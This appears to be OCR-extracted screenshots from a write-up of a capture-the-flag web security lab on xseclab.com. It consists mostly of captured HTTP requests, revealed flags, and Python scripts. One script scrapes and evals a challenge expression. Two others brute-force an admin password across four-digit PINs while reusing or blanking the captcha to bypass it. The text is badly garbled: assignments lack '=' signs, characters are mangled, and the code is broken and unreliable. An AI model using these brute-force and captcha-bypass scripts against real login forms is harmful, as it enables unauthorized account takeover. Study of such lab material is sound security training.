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GET /xssl_30ac8668cd453e7e387c76bl32bl40bb/search_key.php HTTP/1.1
Host: labl.xseclab.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,2zh-HK;g=0.5,en-0S;g=0.3,en;g=0.2

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://labl.xseclab.com/xssl_30ac8668cd453e7e387c76bl32bl40bb/index.php
Upgrade-Insecure-Requests: 1
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Response

Raw.. Headers Hex HTML Render
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 03 Aug 2019 15:40:22 GMT
Content-Type: text/html
Connection: close
Via: 10080
Content-Length: 94

<script>window.location="./no_key is_here_forever.ph

p"; </script>
key is : yougotit_script now
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POST /xss2_0d557e6d2a4ac08b749b61473a075bel/index.php HTTP/1.1

Host: labl.xseclab.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:68.0) Gecko/20100101
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 3

Connection: close

Referer: http://labl.xseclab.com/xss2_0d557e6d2ad4ac08b749b61473a075bel/index.php
Cookie: PHPSESSID=98db957833ad06£20d20765aed472328

Upgrade-Insecure-Requests: 1
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# -*- coding : utf-8 -*-
import requests
import re IEMRIE

url "http://labl.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075bel/index.php'

head {'Cookie"': 'PHPSESSID=98db957833ad06f20d20765aed472328"}

source requests.get(url, headers=head).content.decode( 'utf-8")

expression re.search(r' (\d+[+*])+(\d+[+*])+\((\d+[+*])+(\d+)\) ", source).group()
print(expression)

val = str(eval(expression))

print(val)

post = {'v': val}

result requests.post(url, headers=head, data=post).content.decode('utf-8")

print(result)
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script
function alert(a) {
return false;
}
document.write function () {
return false;

}

function prompt(a) {

return false;

}

var a function () {
// BB IS
alert("key is first 14 chars" d);
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POST /vcodel bcfef7eacfibadc64aafl8844cdblcdb/login.php HTTP/1.1

Host: labl.xseclab.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-0US;qg=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 52

Connection: close

Referer: http://labl.xseclab.com/vcodel bcfef7eacf7badc64aafl8844cdblc46/index.php
Cookie: PHPSESSID=98db957833ad06£20d20765aed472328

Upgrade-Insecure-Requests: 1

username=admin&pwd=password&vcode=WS2B&submit=submit
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# -*- coding : utf-8 -*-
import requests

url 'http://labl.xseclab.com/vcodel_bcfef7eacf7badc64aafl18844cdblc46/login.php’
for password in range(1000, 9999):

head {'Cookie"': "PHPSESSID=98db957833ad06f20d20765aed472328"}
post {'username': 'admin', 'pwd': password, ‘'vcode': 'ws2b', 'submit': 'submit'}

result requests.post(url, headers=head, data=post).text

print(password)
if len(result) 9:
print("The passowrd is :

str(password))
print(result)

break
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POST /vcode2_ abeébac0b47c8187b09deb20babc0e85/1login.php HTTP/1.1
Host: labl.xseclab.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:68.0) Gecko/20100101
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/%;g=0.8
Accept-Language: zh-CN,zh;g=0.8,zh-TW;gq=0.7,2zh-HK;g=0.5,en-US;g=0.3,en;g=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Connection: close
Referer: http://labl.xseclab.com/vcode2 a6ebbac0b47c8187b09deb20babc0e85/index.php
Cookie: PHPSESSID=98db957833ad06£20d20765aed472328
Upgrade-Insecure-Requests: 1

username=admin&pwd=password&vcode=42S8&submit=submit
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# -*- coding : utf-8 -*-
import requests

url "http://labl.xseclab.com/vcode2_ a6e6bacOb47c8187b09deb20babc®e85/1login.php'

for password in range(1000, 9999):
head {'Cookie"': "'PHPSESSID=98db957833ad06120d20765aed472328"}

post {'username': 'admin', 'pwd': password, ‘'vcode': '', 'submit': 'submit'}

result requests.post(url, headers=head, data=post).text
print(password)
if len(result) ok
print("The passowrd is : " str(password))
print(result)

break
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